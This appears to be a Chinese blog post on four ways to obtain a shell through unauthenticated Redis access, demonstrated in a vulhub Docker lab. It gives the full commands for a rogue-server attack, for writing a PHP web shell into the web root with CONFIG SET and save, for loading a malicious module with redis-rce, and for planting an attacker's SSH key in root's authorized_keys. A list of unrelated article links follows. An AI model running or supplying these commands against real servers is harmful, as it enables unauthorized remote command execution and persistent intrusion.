当前位置: 首页 > news >正文

redis得到shell的几种方法

 getshell(一)(上文)

docker演示

进入vulhub目录使用以下命令启动靶机

cd /vulhub-master/redis/4-unacc

docker-compose up -d

docker ps

kali中

安装redis

apt-get install redis

连接,ip换为docker容器ip地址

redis-cli -h 39.105.47.83 -p 6379

直接连接执行命令且不需要认证说明存在未授权访问漏洞

下载以下攻击项目

https://github.com/n0b0dyCN/redis-rogue-server

下载完成后解压

在项目目录下执行以下命令

python3 redis-rogue-server.py --rhost 39.105.47.83 --lhost 39.105.47.83

若执行错误,再次执行一下就行

输入i就可以进入shell

安装redis

建议在contos上安装,命令相同,下面只是演示      kali做攻击机

wget https://download.redis.io/releases/redis-4.0.9.tar.gz

tar zxvf redis-4.0.9.tar.gz

移动一下安装地点

mv redis-4.0.9 /usr/local/redis

make

make install

vim redis.conf

getshell(二)

需要有网站建立才能成功

在kali上输入

redis-cli -h 192.168.219.128 -p 6379

连接成功后,输入

CONFIG SET dir /var/www/html               修改存储路径为Web目录
CONFIG SET dbfilename shell.php               设置文件名为shell.php

SET shell "<?php system($_GET['cmd']);?>"          保存木马

save

蚁剑连接或直接网址访问

http://ip/shell.php

http://ip/shell.php?cmd=whoami

getshell(三)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git

下载完成后进入RedisModules-ExecuteCommand目录输入make

会生成moudle.so 文件

然后把生成的moudle.so复制到redis-rce目录里面

进入 redis-rce目录里面终端输入

python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so

getshell(四)

公钥

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub

(echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n")>1.txt          记得修改为自己的密钥地址

输入
cat 1.txt |redis-cli -h 192.168.111.130 -x set crack

连接成功后在输入

config set dir /root/.ssh
config set dbfilename authorized_keys
save

使用ssh登录就可以了

http://www.dtcms.com/a/305298.html

相关文章:

  • Python包架构设计与模式应用:构建可扩展的企业级组件
  • 本土化DevOps实践:Gitee为核心的协作工具链与高效落地指南
  • Java 11 新特性详解与代码示例
  • 《C++》STL--vector容器超详细解析
  • CSS 在单页应用(SPA)中的适用性解析与实践
  • QWebEngineProfile setCachePath无效
  • aar, aab,apk三种应用格式的区别
  • Linux网络编程——IP地址与端口、通信协议、Socket套接字基础概念解析
  • 【C语言】指针深度剖析(一)
  • Router 动态路由
  • FPGA数码管驱动模块
  • Netty中FastThreadLocal解读
  • C++多态:面向对象编程的灵魂之
  • Linux_库制作与原理浅理解
  • 青木川古镇
  • Flex布局面试常考的场景题目
  • 墨者:SQL过滤字符后手工注入漏洞测试(第3题)
  • MC0244多重堡垒
  • kotlin使用mybatis plus lambdaQuery报错
  • Java中什么是类加载?类加载的过程?
  • TGD第八篇:二维应用——图像边缘检测
  • FastAPI入门:Cookie参数、Header参数、Cookie参数模型、Header参数模型
  • 移动端 WebView 调试实战,多平台行为差异排查与统一调试流程
  • Gartner发布CTEM指南:使用持续威胁暴露管理来减少网络攻击
  • 应急前端“黄金3分钟”设计:极端场景下的操作界面极速搭建技术
  • COPRAS(Complex Proportional Assessment)简介与简单示例
  • 汇总10个高质量免费AI生成论文网站,支持GPT4.0和DeepSeek-R1
  • [学习记录]URP流程解析(2)--初始化阶段
  • 最新优茗导航系统源码/全开源版本/精美UI/带后台/附教程
  • Effective_C++09: 绝不在构造和析构过程中调用virtual函数